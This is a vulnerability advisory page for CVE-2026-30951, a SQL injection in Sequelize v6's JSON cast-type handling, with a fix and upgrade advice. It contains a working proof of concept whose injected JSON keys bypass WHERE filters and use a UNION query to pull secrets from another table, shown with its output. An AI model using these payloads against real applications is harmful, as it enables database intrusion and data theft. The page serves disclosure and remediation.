CVE-2026-30951: Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

Published Mar 10, 2026
·
Updated

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, traverseJSON() extracts a cast type from :: in JSON keys without validation:

javascript // line 1892 traverseJSON(items, baseKey, prop, item, path) { let cast; if (path[path.length - 1].includes("::")) { const tmp = path[path.length - 1].split("::"); cast = tmp[1]; // attacker-controlled, no escaping path[path.length - 1] = tmp[0]; } // ... items.push(this.whereItemQuery(this.castKey(pathKey, item, cast), { [Op.eq]: item })); }

castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

javascript return CAST(${result} AS ${smth.type.toUpperCase()});

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

javascript const ALLOWEDCASTTYPES = new Set([ 'integer', 'text', 'real', 'numeric', 'boolean', 'date', 'timestamp', 'timestamptz', 'json', 'jsonb', 'float', 'double precision', 'bigint', 'smallint', 'varchar', 'char', ]);

if (cast && !ALLOWEDCASTTYPES.has(cast.toLowerCase())) { throw new Error(Invalid cast type: ${cast}); }

PoC

npm install sequelize@6.37.7 sqlite3

javascript const { Sequelize, DataTypes } = require('sequelize');

async function main() { const sequelize = new Sequelize('sqlite::memory:', { logging: false });

const User = sequelize.define('User', { username: DataTypes.STRING, metadata: DataTypes.JSON, });

const Secret = sequelize.define('Secret', { key: DataTypes.STRING, value: DataTypes.STRING, });

await sequelize.sync({ force: true });

await User.bulkCreate([ { username: 'alice', metadata: { role: 'admin', level: 10 } }, { username: 'bob', metadata: { role: 'user', level: 5 } }, { username: 'charlie', metadata: { role: 'user', level: 1 } }, ]);

await Secret.bulkCreate([ { key: 'apikey', value: 'sk-secret-12345' }, { key: 'dbpassword', value: 'supersecretpassword' }, ]);

// TEST 1: WHERE clause bypass const r1 = await User.findAll({ where: { metadata: { 'role::text) or 1=1--': 'anything' } }, logging: (sql) => console.log('SQL:', sql), }); console.log('OR 1=1:', r1.map(u => u.username)); // Returns ALL rows: ['alice', 'bob', 'charlie']

// TEST 2: UNION-based cross-table exfiltration const r2 = await User.findAll({ where: { metadata: { 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x' } }, raw: true, logging: (sql) => console.log('SQL:', sql), }); console.log('UNION:', r2.map(r => ${r.username}=${r.metadata})); // Returns: apikey=sk-secret-12345, dbpassword=supersecretpassword }

main().catch(console.error);

Output:

SQL: SELECT id, username, metadata, createdAt, updatedAt FROM Users AS User WHERE CAST(jsonextract(User.metadata,'$.role') AS TEXT) OR 1=1--) = 'anything'; OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT id, username, metadata, createdAt, updatedAt FROM Users AS User WHERE CAST(jsonextract(User.metadata,'$.role') AS TEXT) AND 0 UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x'; UNION: [ 'apikey=sk-secret-12345', 'dbpassword=supersecretpassword' ]

Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

javascript app.post('/api/users/search', async (req, res) => { const users = await User.findAll({ where: { metadata: req.body.filter } // user controls JSON object keys }); res.json(users); });

Other sources

Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.

MITRE

Affected Software

3 affected componentsFixes available
npm/sequelize<6.37.8
npm/sequelize>=6.0.0-beta.1<=6.37.7
6.37.8
Sequelizejs Sequelize Node.js<6.37.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/sequelize to a version that resolves this vulnerability.

    Fixed in 6.37.8
  2. Upgrade

    Upgrade sequelize to a version that resolves this vulnerability.

    Fixed in 6.37.8
  3. Configuration

    Ensure the cast type extracted from JSON path keys split on '::' is validated/whitelisted before being interpolated into CAST(...). The vulnerable pattern occurs in _traverseJSON() where the cast type from the JSON key is not escaped and is interpolated raw into CAST(...). Reject invalid cast types (e.g., throw 'Invalid cast type').

    Application using Sequelize JSON/JSONB WHERE clauses Cast type handling for JSON keys containing '::' (e.g., 'role::text') = Whitelist cast types and reject any cast type not in an allowed list (case-insensitive)

Event History

Mar 10, 2026
CVE Published
via MITRE·08:22 PM
Data Sourced
via MITRE·08:22 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·09:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
Affected Software
Mar 11, 2026
Advisory Published
via GitHub·12:18 AM
Data Sourced
via GitHub·12:18 AM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-30951?

The severity of CVE-2026-30951 is rated as high due to the potential for SQL injection attacks affecting applications using Sequelize versions prior to 6.37.8.

2

How do I fix CVE-2026-30951?

To fix CVE-2026-30951, upgrade to Sequelize version 6.37.8 or later to mitigate the SQL injection vulnerability.

3

Which versions of Sequelize are affected by CVE-2026-30951?

Sequelize versions prior to 6.37.8 are affected by CVE-2026-30951.

4

What type of vulnerability is CVE-2026-30951?

CVE-2026-30951 is an SQL injection vulnerability that can be exploited through unescaped cast types in JSON/JSONB where clause processing.

5

How can CVE-2026-30951 be exploited?

CVE-2026-30951 can be exploited by manipulating JSON path keys and injecting malicious SQL commands into queries.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203